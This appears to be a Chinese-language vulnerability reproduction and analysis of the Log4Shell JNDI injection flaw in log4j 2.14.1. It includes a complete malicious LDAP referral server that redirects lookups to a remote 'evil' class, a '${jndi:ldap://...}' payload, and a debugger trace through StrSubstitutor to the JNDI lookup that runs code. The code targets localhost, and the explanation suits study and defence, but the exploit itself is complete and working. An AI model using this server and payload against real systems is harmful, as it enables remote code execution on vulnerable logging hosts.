環境搭建
依賴:
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.9</version> <scope>test</scope> </dependency>
ldap server :
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; public class Server { private static final String LDAP_BASE = "dc=ldap,dc=Log4j,dc=com"; public static void main (String[] args) { // 惡意class文件存放url String url = "http://127.0.0.1:8000/#evil"; // ldap 服務器端口號 int port = 1234; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
測試代碼:
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test { private static final Logger logger = LogManager.getLogger(test.class); public static void main(String[] args) { String str = "${jndi:ldap://127.0.0.1:1234/evil}"; logger.error("params:{}",str); } }
漏洞分析
官方文檔介紹log4j提供很多lookups,也正是因為它支持jndi的方式所以造成了該漏洞。

接下來,下斷點跟進,直到 org.apache.logging.log4j.core.lookup#Strsubstitutor.replace方法,跟進調用的 substitute(event, buf, 0, source.length())
函數簡介說明,該函數可以解析文本中包含變量的值,往下走
發現 isMatch(chars, pos, offset, bufEnd)
這是一個做字符串匹配的函數,chars[]的內容和buffer的匹配就返回chars[]的長度
繼續往下跟,直到 resolveVariable(event, varName, buf, startPos, endPos) (中間的過程很漫長,需要點耐心,一直在處理字符串)
中間沒什么特別的操作
跟進 lookup(event, variableName),看一下這個lookup是不是我屬性的jndi常用的lookup
看到程序走到 return (T) this.context.lookup(name) 彈出計算器
再看看context的定義是我們所熟知的 javax.naming.Context就一目了然了
最后
本文復現環境 jdk8u11
換一個高版本的jdk,ldap協議就不行了,因為不再支持加載遠程class
下圖使用jdk8u301,看到ldap server收到請求,但是不會彈出計算器了
這同樣也就解釋了,為啥dnslog收到了請求,卻打不了的情況~